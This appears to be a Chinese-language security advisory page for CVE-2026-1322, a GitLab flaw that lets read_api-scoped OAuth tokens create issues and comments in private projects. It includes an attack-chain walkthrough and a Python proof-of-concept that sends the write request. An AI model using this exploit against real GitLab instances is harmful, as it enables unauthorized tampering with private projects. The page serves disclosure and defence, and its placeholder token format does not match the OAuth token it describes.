IPBUF安全漏洞报告
English
CVE-2026-1322 CVSS 6.8 中危

CVE-2026-1322 GitLab权限越界漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-1322
漏洞类型
权限提升
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

权限提升GitLabOAuthCWE-285API安全

漏洞概述

GitLab CE/EE存在权限提升漏洞。由于授权不当,拥有read_api作用域OAuth应用的已认证用户,可在私有项目中创建议题及评论,导致信息泄露与完整性受损。

技术细节

该漏洞源于GitLab对OAuth令牌作用域的校验逻辑存在缺陷。正常情况下,read_api作用域仅允许只读访问API。然而,漏洞允许拥有该有限权限的攻击者,通过API端点对私有项目执行写入操作(创建Issue、添加评论)。攻击者无需项目成员权限,仅需一个有效的OAuth令牌即可利用此漏洞,破坏私有项目的完整性和泄露机密信息。

攻击链分析

STEP 1
1. 获取令牌
攻击者注册一个OAuth应用程序,获取具有read_api作用域的访问令牌。
STEP 2
2. 识别目标
攻击者确定目标私有项目的ID。
STEP 3
3. 发送恶意请求
攻击者使用获取的令牌,向GitLab API发送POST请求以创建Issue或评论。
STEP 4
4. 权限绕过
由于漏洞,GitLab未正确校验read_api令牌的写权限,允许了该操作。
STEP 5
5. 完成攻击
Issue或评论被成功写入私有项目,造成数据破坏或信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target GitLab instance URL target_url = "https://gitlab.example.com/api/v4/projects/<PROJECT_ID>/issues" # OAuth Token with read_api scope (vulnerable) access_token = "glpat-xxxxxxxxxxxxxxxxxxxx" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Data payload to create an issue payload = { "title": "PoC: Unauthorized Issue Creation", "description": "This issue was created using a read_api scoped token due to CVE-2026-1322." } try: # Send POST request to create issue response = requests.post(target_url, headers=headers, json=payload) if response.status_code == 201: print("[+] Exploit successful! Issue created.") print(f"[+] Issue ID: {response.json().get('iid')}") else: print(f"[-] Exploit failed. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}")

影响范围

GitLab CE/EE >= 16.0, < 18.9.7
GitLab CE/EE >= 18.10, < 18.10.6
GitLab CE/EE >= 18.11, < 18.11.3

防御指南

临时缓解措施
目前官方已发布修复版本,建议立即升级至安全版本。在升级前,应严格监控API日志中是否存在利用read_api令牌进行写操作的异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表